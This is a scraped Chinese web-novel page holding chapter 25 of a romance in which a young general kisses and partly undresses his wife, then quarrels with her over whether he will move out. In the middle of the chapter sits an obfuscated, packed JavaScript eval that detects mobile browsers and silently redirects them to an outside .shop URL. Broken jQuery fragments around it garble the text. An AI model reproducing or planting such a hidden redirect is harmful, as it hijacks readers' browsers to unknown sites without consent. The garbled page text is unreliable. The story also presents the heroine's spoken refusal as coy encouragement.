文趣网 > 其他小说 > 小将军他打脸真香了 > 25. 第二十五章
    唇与唇之间,再容不下一丝缝隙。

    逼仄的空间内,沈照微听得见自己急促而断断续续的呼吸声,还有唇齿相依带来的水声。

    血气方刚的小将军,不再只满足于唇齿缠绕,他回收臂弯,把怀中人放到自己腿上,紧紧相拥。

    他一心二用,细细嗅着她的气味,嗅到了一股脂粉香,把她身上常年沾染的药味也掩盖了去。

    他不喜欢脂粉味,也不喜欢药味,更不喜欢两者混合的味道。但若是在她身上,他便可以接受。

    为何会如此?

    他在这个紧密的亲吻中,找到了答案:性情寡淡的病秧子,品尝起来,居然是甜的,而且甜得刚刚好,不会腻人。

    似乎是着了火,把浑身的血烧得沸腾起来。四肢百骸焦灼燥热,正需一味清甜调和。

    碰触一路蔓延,最终在那纤细修长的脖颈上徘徊不去。每啄一口,心里就更满足一分,同时也更贪恋一分。

    他不愿意想更多,只想扯开这层碍手碍脚的衣衫。

    如此想着,就如此做了。

    凉意袭来,侵于肩颈,沈照微一哆嗦。忽然睁眼,看见男人宽阔的肩背,看不见他的脸,但能感受到他脸上的那份温度,密密地烙在颈侧。

    她抬手按住腰上环着的一条手臂,叹息声中夹杂着轻语:“不要……不要这样……”

    这般情景,阻止不像阻止,像是娇嗔——引诱他撷取更多。

    她出汗了,点点滴滴汗水从鬓角滑下来,留下道道水痕。缘痕迹而上,他觅到了那两扇唇,晕花了脂膏的唇,再度衔入口。

    呼哧呼哧……耳际全是她凌乱的气息。

    这个女人总是在吐气,她似乎不会换气。

    怕她给自己憋死了,他不得不离开她,拿手轻拍她的脸颊:“你这么紧张,搞得像我做坏事一样。放松,呼吸。”

    她醒了醒,自微茫的视野中看他:“你怎么这般娴熟……你是不是,对别人也这样做过……”

    她已然迷乱,忘记了反抗,尽管沉陷在他的气息与温度里,慢慢忘却自我,一点点融化。

    “瞎想什么?”他捏了一下她腰上为数不多的软肉,算作乱说话的惩罚,“是你太笨了,连呼吸都不会了。”

    她慌忙地抓住他的手,抓到的一瞬间,又被烫的赶紧撒开。

    她垂眸,弱弱地埋怨他:“还不是因你而起?”

    说到此处,记起来正事,忙把掉下去半截的衣衫拢上来,“你别胡闹了,快放开我。若是待会风信回来,撞见了,那可真说不清了,我也没脸见人了……”

    裴惊昼不放,挑起她下巴来:“亲都亲了,你为什么老是担心说不说得清?果然是被我说中了,你心里装着其他人,所以才三番五次与我撇清关系,对不对?”

    “我明明没有。”她道,“那我还想问你呢,你为何一而再再而三地怀疑我?以前只是口头上念叨两句,今天直接……你是不是吃多了酒,糊涂了?”

    他笑了:“我有没有吃酒,你刚刚没感觉吗?”

    她羞耻地闭上眼,含糊不清道:“你有没有吃,那得问你,我怎么感觉得到……”

    他随她闭着眼,说的话更加露骨:“我都尝到了你嘴上的胭脂,你说你尝不出我喝没喝酒,明显说不过去啊。”

    她心里发出阵阵可耻的叫声。这个男人究竟在干什么?此等轻浮话怎么张嘴就来?

    她一刻也听不下去,睁眼抬手捂他的嘴,一气呵成。顶着红透的脸,说:“你还是我认识的裴惊昼吗?太孟浪了,你快不要信口雌黄了。”

    相隔指掌,他启口,咬了一下她的指腹,惊得她当即抽开手。教她骂人,她并不会,压根想不出骂人的词,只吐出一个“你”字,后面再没了声息。

    裴惊昼感觉心里被什么东西击中似的,越发来了捉弄她的兴致,盯着她的眼睛说:“哦?你且说说,我哪里孟浪了?”

    沈照微看看自己才挨了人咬的手指,羞于言语,最后是自暴自弃,推着他的肩膀打算下去:“你做了什么,你心里清楚,何须我一字一句说明……你非要逼着我问,那就是你在外面吃酒吃得醉了,满口胡言乱语。我困了,想休息了,你不要拦我。”

    一篇话语无伦次,她是窘极了。

    她抓着难得的时机离开他。

    僵持时间久的缘故,下脚踩地之际,脚脖子一软,一个趔趄跌坐在地上。

    顾不及去管腿脚,她一门心思护住松松垮垮的衣裳,羞愤交加道:“你是魔怔了,突如其来弄这一出……”

    举目瞧瞧,他衣冠楚楚的,衬得她愈加见不得人,更觉可气,含怨道:“全赖你!我要告诉母亲,你憋着坏心思,欺负我……”

    她的身子骨经不起半点摔打,地上又凉,裴惊昼起身,对她伸出手,嘴皮子上却不顺着她:“又要告状啊?好啊,你去吧,跟母亲说,我亲了你,抱了你,还把你的衣裳……”

    一语未毕,沈照微挥手打开他手:“我都这样了,你还取笑我!”

    长到十七岁,她何尝被人照这样屈辱的对待过,越想越心酸,眼眶一辣,流下泪来:“你简直……太过分了……”

    她哭得抽抽噎噎,不比平时默默地淌泪。裴惊昼心上一刺,丢了讨人嫌的架势,弯腰把她横抱起来,送到里间榻上,让她靠坐着,轻轻褪下她的鞋袜。

    她不自在,不情愿,往一边缩。他佯作严肃道:“我看看伤着筋骨没。你别乱动,越动越疼。疼了就哭,吵得我心烦。”

    她泪眼汪汪道:“我母亲说过,女子的脚,不可以轻易给外人看……”

    他忍俊不禁:“刚刚做了那么多,你现在翻脸不认人了,说我是外人?”

    “那……那又不是我心甘情愿的。”

    “好好好,我强迫你的。我是个粗人,不会怜香惜玉,”他“嘁”了一声,随即干脆地褪掉她鞋袜,使一双脚露出来,“所以我做什么粗鲁事,也是合理的。何况,刚才那样都忍过来了,现在再忍忍也无妨,对吧?”

    他经年习武,骨掌之间有茧。他手握她的脚腕,不曾用力,茧磨在皮肤上,好似微风拂在头发上,痒痒的,不会令人产生抗拒感,反倒有些依恋,暗戳戳地盼他多握一会。

    细琢磨这个念想后,她忍不住在心里骂自己是疯了,胡思乱想到裴惊昼头上了。

    “这样感觉疼不疼?”她脚面上微微浮肿,不能确定扭没扭着骨头,裴惊昼便拿手掐掐她踝骨。

    她不声不响的,他也奇怪,抬头看她,发现她直直瞅着他,脸较之前更红了。他狡黠一笑:“好看吗?”

    沈照微蓦然醒神,转脸到一旁:“……什么?”

    裴惊昼使巧劲捏捏她脚踝,她受力回过脸来,对上他充满调笑意味的眼眸,正中他下怀。

    “你偷偷看我啊。”他促狭道,“我好看吗?”

    她才不会傻到承认看他来着,矢口否认:“我哪有看你?我是担心你下手没轻重,捏着我的痛处……你可不要自作多情了。”

    “好,是我自作多情。”裴惊昼点头道,“那我刚问你疼不疼,你听见没有?”

    “我自然是听见了。”她在硬着头皮扯谎,“不怎么疼,应该是伤得不重。好了,我没事了,你可以起开了,快去洗漱去吧。”

    她把脚从他手里抽出来,并着腿向床里挪,挪到抵着墙根,再挪不过去为止。

    裴惊昼原是单膝跪地蹲着,见状,撑住膝盖站起来,拍拍手:“我问了你一晚上的话,还没着落呢。”

    文远风信避出去区区半个时辰,令人难为情之事接连发生,导致沈照微以为过了好久。她暗中算一算今晚大大小小的事,没有眉目,疑道:“你问我很多话,到底是哪一句?”

    “你冰雪聪明,跟我装什么傻?”裴惊昼步步紧逼。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871488|210234||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    有适才的教训,她怂了,忙往床角藏:“你别靠了。你那手刚摸过我的脚,脏,你快点去洗一洗吧。”

    裴惊昼指指她搁在被褥上的双脚,好笑道:“你嫌我的手脏,那你怎的直接把脚放褥子上,这就不嫌弃脏了?”

    “那你待在这,我先去洗。”沈照微借势下床,特意绕开他,要走。

    “你这一瘸一拐的,走半路上不怕把牙栽了?”他长臂一伸,抓住她手腕。

    她只得坐到床沿上,仰视他。

    寻常人,被人从下往上看,不大好看。可他不同,上下左右,任何一个角度,随意看,各有各的风采——名副其实是相貌堂堂。

    意识到又看痴了,沈照微若无其事地道:“我让你去洗,你不去。那我说我去,你又拦。你想怎么样?”

    裴惊昼俯身,双臂压在她两侧的褥子上,形成两个浅坑。

    眼前是她花了妆的容颜,被他一寸寸亲花的。

    这张皮相上,满满是他啄过的痕迹,越看越使人心神荡漾。

    他问她是不是吃醉了酒,他是中午吃的酒,仅仅两坛,远不够他醉的地步。

    但若不是醉了,何故今夜他的目光片刻离不开她?

    只消看她一眼,便想触碰她。碰了,就止不住地在想,手指挨上去是软软的,那换成嘴唇吻上去,是否有同样的感觉?

    今夜,委实得寸进尺了,这不应当是他的做派。

    因此,他克制住更进一步的冲动,纯粹地与她对视,问她那个必须得到答案的问题:“你告诉我,想不想要我搬走,我便放了你。”

    她情不自禁吞唾沫时,他补充:“你不擅长说假话,一张嘴,我就看得出来。所以,要说实话。”

    酝酿良久,沈照微道:“你搬不搬,那是你自己的事。父亲母亲尚且奈你不得,我又算得了什么,从中置喙。”

    裴惊昼道:“你说想,我立马就搬。若说不想,我也可以不搬。”

    不搬的话,以他们目前越来越说不明白的关系,岂不是意味着一着不慎,随时都有可能失控?

    适才他那副表现,若非她钻空子闪开,而崴了脚,那后果定然不是眼下这样面对面说话了。

    一来太凶险,她招架不住。二来明明约好了一年期满,一拍两散,各走各路;有言在先,得遵守才对。

    一番权衡,沈照微道:“那我觉得我们还是分开住,比较合适。”

    裴惊昼一眯眼:“你再说一遍?”

    沈照微侧过头去:“我说,你搬出去,我们分开住,更为方便。”

    缄默一时,裴惊昼收手挺直腰杆,双手叉腰,原地踱两步,看着她笑出声:“你一心盼我搬,是吧?那我还偏不如你意了。这也是我的房间,又是整个院子里最宽敞最明亮的,放着这好地方不住,挤其他屋子里凑合,那我是自讨苦吃。”

    沈照微撇撇嘴,小声讲究:“吵着要搬的人是你,改口又不搬的人也是你,怨不得文远说你难伺候。”

    裴惊昼理直气壮道:“我要是处处省事,还留着他有何用?”

    沈照微不是拌嘴的料子,索性闭口不言。

    裴惊昼信步出了外间,打量那架大屏风,唤人进来:“这玩意真碍事,打哪抬进来的,原路抬回去吧。”

    回首接上沈照微不满的视线,裴惊昼挑眉一笑:“你最尊敬的母亲,千叮咛万嘱咐要你我夫妻齐心和睦。怎么,你不听?”

    沈照微孝敬长辈,非逼不得已,绝不忤逆长辈。故而没话可说。

    两个小厮合力舁走屏风,裴惊昼顿感神清气爽,挺胸抬头地去沐浴更衣了。

    剩下沈照微,恍恍惚惚,感觉今晚的一切,虚幻如一场梦。

    对镜照了半天,清楚目睹微微红肿的嘴巴,以及眼角风干的泪痕,方渐渐地接受所见所感,均为真实发生,不自禁地念了两遍“裴惊昼”这三个字。